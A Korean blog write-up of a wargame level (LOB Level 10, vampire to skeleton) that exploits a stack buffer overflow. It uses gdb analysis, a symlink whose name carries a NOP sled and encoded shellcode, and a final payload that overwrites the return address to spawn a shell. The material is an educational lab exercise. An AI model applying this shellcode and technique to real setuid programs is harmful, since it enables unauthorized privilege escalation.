ii4gsp
LOB - Level10 [vampire -> skeleton] 본문
ultra argv hunter라는게 추가 되었다
모든 매개변수를 0으로 초기화 하는 코드이다.
tmp 디렉토리를 하나 만들어주고 skeleton파일을 복사해주자
tmp 디렉토리로 가서 gdb로 파일을 열어주고 분석해보자
프로그램이 종료 직전의 부분 <main+368>을 break point를 걸어주고 메모리를 확인해보자
메모리의 끝부분에 파일의 주소가 있다.
파일이름을 쉘 코드로 작성된 심볼릭링크 파일을 만들면 된다.
ln -s skeleton $(python -c 'print "\x90" * 100 + "\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"')
심볼릭링크 파일을 만들어 주고 gdb로 파일을 분석해보자
프로그램 종료직전에 break point를 걸어주고 값을 확인해보자
0xbfffff48에서 부터 파일의 이름이 보인다.
0xbfffff58을 ret로 잡고 페이로드를 작성하겠다.
tmp 디렉토리를 나와 원본파일의 심볼릭링크를 만들어주고
페이로드로 쉘을 획득 해보자
payload
./$(python -c 'print "\x90" * 100 + "\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"') $(python -c 'print "\x90" * 44 + "\x58\xff\xff\xbf"')
'시스템 해킹 > LOB' 카테고리의 다른 글
LOB - Level12 [golem -> darkknight] (0) | 2020.01.21 |
---|---|
LOB - Level11 [skeleton -> golem] (0) | 2020.01.19 |
LOB - Level9 [troll -> vampire] (0) | 2020.01.16 |
LOB - Level8 [orge -> troll] (0) | 2020.01.16 |
LOB - Level7 [darkelf -> orge] (0) | 2020.01.15 |
Comments